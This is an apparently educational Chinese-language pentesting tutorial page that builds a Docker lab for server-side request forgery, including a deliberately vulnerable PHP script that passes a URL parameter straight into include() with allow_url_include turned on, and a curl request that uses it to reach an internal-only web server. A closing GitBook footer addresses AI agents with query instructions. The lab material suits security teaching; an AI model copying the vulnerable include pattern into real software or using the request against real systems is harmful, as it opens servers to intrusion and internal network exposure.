> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md).

# SSRF Curl

## 第二种场景搭建（SSRF 漏洞）

* 删除先前的容器：

```bash
docker rm $(docker ps -a -q) --force
docker network create --driver=bridge network1 --subnet=10.10.0.0/24

```

* 创建三个容器（**后生产环境、公共 Web 和攻击者**):

```bash
docker run -dit --name PRO ubuntu
docker network connect network1 PRO # to associate the IP address

```

机器 Web 服务器（**后生产环境**): ![](/files/7e099515552f301e9d627d3108577072f6054158)

```bash
apt install apache2 php nano -y
service apache2 start

```

* 在 **/var/www/html**，创建一个 `utility.php` 文件：

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] 正在列出来自 " . $url . " 的网站内容:/n/n";
    include($url);
} else {
    echo "/n[!] 未向 URL 参数提供任何值/n/n";
}
?>

```

* 在这种情况下，它 **渲染** 不正确： ![](/files/5630e28610b2775396632ee76a8b06490a0677a5)
* 为此，你必须修改此文件： **"/etc/php/8.1/apache2/php.ini"** 通过将 \_allow/\_url/*include* 设置为 on： ![](/files/a54b7135864ec1241bfe40d75cbed396392e1b27)
* 重启服务 **apache2**:

```bash
service apache2 restart

```

* 创建一个 **login.html** 文件在 `/tmp/` 其中模拟了公共站点上的登录页面：

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>登录页面</title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: rose;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center><h1>学生登录表单（PRO）</h1></center>
    <form>
        <div class="container">
            <label>用户名：</label>
            <input type="text" placeholder="输入用户名" name="username" required>
            <label>密码：</label>
            <input type="password" placeholder="输入密码" name="password" required>
            <button type="submit">登录</button>
            <input type="checkbox" checked="checked"> 记住我
            <button type="button" class="cancelbtn">取消</button>
            忘记 <a href="#">密码？</a>

    </form>
</body>
</html>

```

* 现在配置 **后生产环境** 机器：

```bash
docker run -dit --name PRE --network=network1 ubuntu

```

![](/files/b8dc2f67de360c454f5ffbd4207ab7e8fee4411f)

```bash
apt install nano python3 curl -y

```

* 创建一个 **HTML** 文件在 `/tmp` 并填入以下内容。它不应在内部网络之外可见： `你应该无法查看此内容，因为它没有对外暴露，并且对应于托管在公司内部网络中一台机器上的 Web 服务。`
* 使用 **Python3** 在 7878 端口创建一个 Web 服务器：

```bash
python3 -m http.server 7878

```

* 最后，创建 **攻击者** 机器：

```bash
docker run -dit --name ATTACKER ubuntu

```

![](/files/9a9a7d10a13be9e756bfda8a23deb7cdb5824095)

理解第二种场景的技术示意图（**在一台 Linux 机器上有一个运行在 8089 端口的网站，只能从内部网络访问**):

<figure><img src="/files/6be1d6c0898e6ac8268885ab211cf33380e6c1fa" alt="" width="563"><figcaption></figcaption></figure>

从 **攻击者** 在容器中，我们使用 curl 访问运行 Web 服务器的机器，但不起作用：

<figure><img src="/files/6a83c72db25adefc96f3dbf0faa967dd47d695b7" alt=""><figcaption></figcaption></figure>

但是如果我们使用 **SSRF** 这种技术，我们就可以访问隐藏文件：

```arduino
curl "http://172.17.0.2/utility.php?url=http://10.10.0.3:7878/"

```

<figure><img src="/files/46f4acf58cb937d94fb5ceeadbaf8fbe075dd8bf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
